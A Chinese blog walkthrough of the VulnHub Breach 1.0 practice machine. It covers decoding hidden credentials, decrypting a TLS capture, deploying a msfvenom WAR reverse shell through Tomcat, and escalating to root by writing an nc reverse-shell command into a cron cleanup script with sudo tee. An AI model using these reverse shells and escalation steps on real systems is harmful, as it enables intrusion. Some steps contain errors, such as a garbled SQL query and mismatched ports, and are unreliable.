breach靶机

最新推荐文章于 2024-10-11 23:08:28 发布
原创 最新推荐文章于 2024-10-11 23:08:28 发布 · 535 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#靶机

本文介绍了Breach靶机的端口扫描与获取Shell的过程。通过端口扫描发现80端口并解码Base64获取登录信息，访问邮件下载keystore文件，通过Wireshark分析SSL流量包找到cmd命令马。接着，使用Tomcat后台进行基本认证并上传war文件成功反弹shell，进一步提权并寻找隐藏密码，最终发现清理脚本并利用sudo权限写入反弹shell命令获取root权限。

[2021 11 7]

目录

breach靶机

端口扫描

GetShell

breach靶机

端口扫描

  • 已知IP为192.168.110.140

直接扫描端口:

 sudo nmap -sF -p1-65535 192.168.110.140

​

访问80端口:

​

 翻译:
 Initech 遭到破坏，董事会投票决定引入其内部的 Initech Cyber•• Consulting LLP 部门来提供协助。鉴于违规行为的高调性质和近乎灾难性的损失，随后对该公司进行了许多尝试。Initech 已委派由 Bill Lumbergh、CISSP 和 Peter Gibbons、C|EH、SEC+、NET+、A+ 领导的 TOP 顾问来控制违规行为并对其进行分析。
 ​
 公司几乎没有意识到这次入侵并不是技术娴熟的黑客所为，而是一位心怀不满的前员工在离职时送来的离别礼物。TOP 顾问一直在努力控制违规行为。然而，他们自己的职业道德和留下的烂摊子可能是公司的垮台。

  • 查看网页源码发现有一条base64编码的注释:

 Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

​

  • 发现一条base64编码解码为:

cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh

​

  • 发现还是一条base64编码,继续base64解码:

 pgibbons:damnitfeel$goodtobeagang$ta

  • 然后咱们回到刚才的网页发现单机图片会跳转到该界面:

​

  • 实现查看网页源码 发现有一条注释:

 <!--I'm sitting on a beach reading your email! -->

  • 依次点击可以查看的网页:

名称作用
Home page回到初始界面
Cake图片
Stapler图片
Employye portal跳转到impresscms登录界面

  • 使用刚才base64破解出的疑似账号密码的注释发现登录成功:

账号:pgibbons
密码:damnitfeelgoodtobeagangta

​

  • 点击各个功能点 发现邮件里有一个keystore的文件，点击下载:

​

  • 继续浏览功能点发现一个按钮，点击此链接:

​

 SSL implementation test capture Edit Delete 
 Published by Peter Gibbons on 2016/6/4 21:37:05. (0 reads)
 Team - I have uploaded a pcap file of our red team's re-production of the attack. I am not sure what trickery they were using but I cannot read the file. I tried every nmap switch from my C|EH studies and just cannot figure it out. http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'. Is that useful?? Does anyone know what this is? I guess we are securely encrypted now? -Peter p.s. I'm going fishing for the next 2 days and will not have access to email or phone.
 ​

 #翻译:
 SSL实现测试捕获编辑删除
 ​
 彼得·吉本斯于2016/6/4 21:37:05发表。（0读）
 ​
 团队-我已经上传了一份我们红队重新制作攻击的pcap文件。
我不知道他们在耍什么花招，但我看不懂文件。我尝试了我的C | EH研究中的每一个nmap开关，但就是想不出来。
http://192.168.110.140/impresscms/_SSL_test_phase1.pcap 他们告诉我别名、storepassword和keypassword都设置为“tomcat”。
这有用吗？？有人知道这是什么吗？
我想我们现在已经安全加密了-Peter p.s.我将在接下来的两天内去钓鱼，无法访问电子邮件或电话。

  • 将这个数据包下载下来到本地并打开,发现内容经过了SSl加密,由下载页面的提示得到密码为tomcat,先查看keystore里面的所有证书:

 keytool -list -keystore ./keystore

​

  • 从密钥库导出.p12证书：

sudo keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

​

  • 在Wireshark中打开_SSL_test_phase1.pcap流量包文件，将

    tomcatkeystore.p12证书导入Wireshark中.

选择菜单：编辑–首选项–Protocols–TLS，点击右边的Edit

​

  • 导入SSL证书之后，发现部分TLS变成了HTTP，发现从192.168.110.129到192.168.110.140的攻击流量包，其中有cmd命令马执行了id命令，攻击者上传了两张图片，疑似图片马，但是命令马无法直接访问，需要登录tomcat后台

​

  • 发现了一个登录地址:

https://192.168.110.140:8443/_M@nag3Me/html

  • Tomcat后台登录:

用户名:tomcat
密码:Tt\5D8F(#!*u=G)4m7zB

​

​

  • 发现需要tomcat采用的http basic认证,认证数据包如下:

​

 ​

账号:tomcat
密码:Tt\5D8F(#!*u=G)4m7zB

  • 登录成功:

​

GetShell

  • Tomcat后台getshell是有标准姿势的，测试后发现上传的马很快就会消失

  • 利用msf生成一个war格式的反弹,命令如下:

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=1234 -f war -o shell.war

  • 用msf开启监听:

#
use exploit/multi/handler

#
set payload java/meterpreter/reverse_tcp 
set LHOST 192.168.110.128
set LPORT 1111
run

  • show options:

sf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.110.128  yes       The listen address (an interface may be specified)
   LPORT  1234             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

  • 上传刚才的shall.war文件:

​

  • 上传成功后立即访问网页:

https://192.168.110.140:8443/shell/

  • 成功反弹shell:

​

  • 进入一个交互式的shell:

python -c 'import pty;pty.spawn("/bin/bash")'

​

  • 拿到shell ,开始提权

#发现两个用户:

cat /tec/passwd
	# milton
	# blumbergh

​

  • 在网站发现如下内容:

cd /var/www/5446
ls

​

  • mysql的账号及密码:

账号:root
密码:"为空"

​

  • 登录sql,发现milton密码:

select user;password from user;

  • 解密得到密码为:

select user;password from user;

  • 登录milton,并没有相关管理员权限:

​

​

  • 将图片复制到kali linux，使用strings打印各图片其中的可打印字符，追加输出到images.txt，在vim下查看，密码在bill.png图片中，密码为coffeestains

strings bill.png >> image.txt

  • 登录blumbergh账户,查看历史命令:

​

/usr/share/cleanup和tidyup.sh脚本文件

  • 发现一段脚本:

这是一段清理脚本，描述中说明每3分钟执行清理，删除webapps目录下的文件，因此之前上传的菜刀马总是被删除，需要重新上传。查看tidyup.sh的权限，对该脚本没有写入权限，只有root可以

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

  • 查看sudo权限:

​

  • 发现可以执行tee程序或tidyup.sh脚本文件:

​

  • 向tidyup.sh中写入反弹shell命令

向tidyup.sh中写入反弹shell命令，由于能够以root权限运行tee命令，即可以用tee命令写tidyup.sh

先将反弹shell命令写入shell.txt文件，使用bash反弹shell命令没有成功，于是使用nc命令反弹shell成功，所以写nc反弹命令：

echo "nc -e /bin/bash 192.168.110.128 4321" > shell.txt

再使用tee命令将shell.txt内容输出到tidyup.sh：

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

  • 成功写入，nc监听等待反弹shell，root权限:

​

  • 打开隐藏文件flag.txt:

​

【vulnhub】---Breach-1.0靶机
qq_43168364的博客
08-22 1334
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：Breach-1.0靶机(192.168.110.140) 攻击机：kali Linux(192.168.15.129) 物理机IP：192.168.110.220 相关配置 由于该靶机用的是静态的ip，我们要访问的话需要改变主机的IP和他处于同一个网端，为了让物理机还可以访问互联网，我们给物理机添加上两个网卡 这样就OK了 二、信息收集 主机发现 该靶机已知IP地址无需主机发现 端
vlunhub系列之breach靶机
hanjinming110的博客
08-11 647
cat shell.txt nc -e /bin/bash 192.168.110.22 5555 将其成功的写入到这个文件中，我们使用/usr/bin/tee目录，将这个文件写入到/usr/share/cleanup/tiduup.sh中。cat /usr/share/cleanup/tidyup.sh nc -e /bin/bash 192.168.110.22 5555 成功的将脚本写入到找个文件中，等待可执行脚本的运行。
Breach 2.1靶机
m0_61995767的博客
08-02 2317
Breach 2.1打靶记录
Vulnhub靶场Breach1.0详解
m0_65712192的博客
02-14 2312
Vulnhub靶场Breach1.0详解
（vulnhub靶机通关）Breach系列：breach-1.0
yang1234567898的博客
01-22 4596
靶机下载地址：https://download.vulnhub.com/breach/Breach-1.0.zip 环境配置 根据作者描述，靶机配置了一个静态IP地址（192.168.110.140），需要仅主机适配器配置此子网 配置仅主机网卡为DHCP，子网地址192.168.110.0 注意：类型为仅主机的网卡才可以 VMware适配器改成以下地址 靶机和kali网络选仅主机模式 确实环境是否配置好 环境搞好，直接开干！ 信息收集 扫端口 扫描.
Breach靶机
2301_80115097的博客
12-19 1045
111和34140并没有实质性的内容，65535竟然是个ssh。没有任何其他信息，那么可以尝试ssh登录。xss利用的好也可以getshell。当用户输入的东西能保存在网页上的时候，要想到利用存储型xss。要熟悉beef-xss平台的使用，也要熟悉msf的使用。一般xss上线都是通过浏览器，可以着重看受害者的浏览器版本，可能会有利用。可以通过ssh的公钥和私钥进行留存后门，或者尝试.bashrc文件留存后门。getshell之后，当有脚本触发时，可以通过关键字查找脚本进行分析。
Breach: 2.1 靶机 - 详细流程
m0_73983897的博客
10-07 1338
流程：主机发现 - 信息收集 - Web渗透 - 获取shell - 权限提升 信息收集：端口扫描立大功，归功于靶机的脑洞比较大，访问特定服务后才会开启另一个服务，在今后的测试中也需要分阶段性地进行端口扫描；Web渗透一般存在SQL注入 的功能点大多都存在XSS漏洞，而且XSS漏洞既然存在就一定不止一个；XSS漏洞（存储型）+ 浏览器漏洞 获取shell，在靶机中比较少见，但也需要注意；MSF 中要注意区分使用session和sessions的命令，有时候多打一个s就浪费一上午时间；
靶机实战-Breach-1.0
滕财然的博客
03-25 2685
Breach-1.0靶机实战 文章目录Breach-1.0靶机实战1、主机发现2、端口扫描3、web服务(80端口)4、提权5、总结 1、主机发现 没有IP的话自行配置IP 2、端口扫描 发现开放了N多端口，可能做了端口防护，那直接尝试访问80端口 3、web服务(80端口) 查看页面源码： 发现疑似base64加密的字符串 尝试解密： 发现解出来又是个base64，继续解密，最后解密出...
（VulnHub靶机通关）breach系列：breach-2.1细节通关方法
yang1234567898的博客
01-26 3825
靶机下载地址：https://download.vulnhub.com/breach/Breach-2_final2.1.zip 需要配置仅主机模式
VulnHub靶场笔记 - Breach: 2.1（OSCP推荐靶场）
m0_62652276的博客
12-31 1601
根据此前的提示，我们尝试使用beef-xss工具（密码igfix），我们将红框中的数据作为用户名在blog中注册一个用户，把127.0.0.1替换为Kali的地址。sshd_config是客户端的ssh配置文件，查看内容，在配置文件末尾发现，ssh连接过程会强制执行名为startme的程序，推测其与ssh无法成功连接有关。综合之前的思路，既然peter用户的密码是知道的但无法正常进行ssh登录，我们尝试查找与ssh相关的配置。
dc-2靶机练习.pdf
01-02
详细的靶机dc-2练习过程，思路明确，条例清晰， 通过修改hosts进入网站，发现flag1 通过cewl工具对网站生成密码字典，使用wpscan进行密码爆破得到jerry，tom账号密码，登录后台得到flag2 端口扫描发现ssh服务开在7744端口上，使用爆破得到的账号密码进行登录，tom登陆成功，在tom主目录下找到flag3 绕过tom的rbash限制，切换到jerry用户，在主目录发现flag4 使用jerry用户通过git提权，进入root目录找到final_flag
vulnhub靶机渗透 Breach 1
RestoreJustice的博客
03-18 335
Tomcat后台get shell是有标准姿势的，使用哥斯拉生成jsp马，将其打成shell.zip压缩包，再将zip压缩包将扩展名改为shell.war，将war包上传部署即可.发现的问题：上传的webshell，一会儿就会消失，文件被删除，需要重新上传war包才能够继续使用，主机可能有杀软或者杀web shell工具。将图片复制到kali linux，使用strings打印各图片其中的可打印字符，追加输出到images.txt，在vim下查看，密码在bill.png图片中。这里连接到虚拟网卡1。
FBI 靶机渗透
Rex_Surprise的博客
05-10 1317
fbi靶机渗透 1. 渗透过程 2. 重要信息 fbi靶机渗透1. 渗透过程 给出了IP地址为固定的192.168.110.140 而我当前上网的ip为:192.168.0.101 这里给配置电脑两个IP地址 先配置一个静态然后点高级添加一个IP地址就可以了 下面开始收集信息 用nmap扫描端口 nmap -v -A -oN /tmp/...
模拟 hacker 攻破 breach靶机详细全流程
weixin_74091677的博客
05-11 1237
如果你完整的看完了整篇流程 你可以发现 信息收集对我们渗透一个机器 非常重要 我的老师跟我说 渗透的本质是信息收集 如果你想要更好的提升你的渗透能力 信息收集是非常重要的能力 那些你没有收集到的信息 往往是渗透进入机器的关键 多尝试 多碰撞本人菜鸟一枚 也是跟着老师的步骤做的流程 加上自己的一些理解和总结(相当于我的笔记) 希望对你在练习breach靶机的时候有帮助。
Breach-2_final2.1靶机复现
weixin_52956666的博客
08-02 1138
到/usr/share/beef-xss/下查看config.yaml文件，；靶机设置为仅主机模式，该靶机特殊，IP固定为192.168.110.151。netstat -tunlpa发现靶机有一个一直在监听的2323端口。telnet连接，发现失败，看起来像是http服务，再次扫描端口。nmap再次扫描，果然发现存在8888端口的http服务。发现提示用户Peter，密码是inthesource。netstat -tunlpa发现有8888端口监听。输入之发现的admin，admin，登陆成功。
kali渗透综合靶机(十五)--Breach-1.0靶机
W小哥
04-01 2862
一、靶机下载 下载链接：https://download.vulnhub.com/breach/Breach-1.0.zip 二、Breach-1.0靶机搭建 将下载好的靶机环境，用VMware导入即可使用，文件->打开 导入到合适位置即可，默认是C盘，成功导入虚拟机之后，打开即可 三、攻击过程 VM虚机配置有静态IP地址（192.168.110.140），需要将虚拟机网卡设置为ho...
Breach 2.1靶机渗透
weixin_67832625的博客
10-11 758
sshd_config是客户端的ssh配置文件，在文件末尾发现，ssh连接过程会强制执行名为startme的程序，推测其与ssh无法成功连接有关。上传成功后访问http://192.168.110.151:8888/oscommerce/includes/work/1.php。提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞。访问：http://192.168.110.128:3000/ui/panel，可以看到Kali和靶机都已上线。
一次失败的vulnhub靶机渗透之breach1.0
weixin_44255856的博客
08-06 1614
靶机地址下载https://pan.baidu.com/s/1KuwK_8MqCWhcIcNpTJ-OLQ 这是靶机的介绍 在一个由多个部分组成的系列文章中，Breach 1.0是一个初学者到中级boot2root/CTF挑战。解决问题需要扎实的信息收集和坚持不懈的努力。千方百计。 VM配置了一个静态IP地址(192.168.110.140)，因此您需要将您的主机专用适配器配置到这个子网。 非常...
into the breach代码
最新发布
06-19
### 关于《Into the Breach》的游戏代码实现细节 由于《Into the Breach》是一款由 Supergiant Games 开发的策略类游戏，其具体的代码实现细节并未公开。然而，可以从一些相关的开发技术和实践推测其实现方式。以下...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值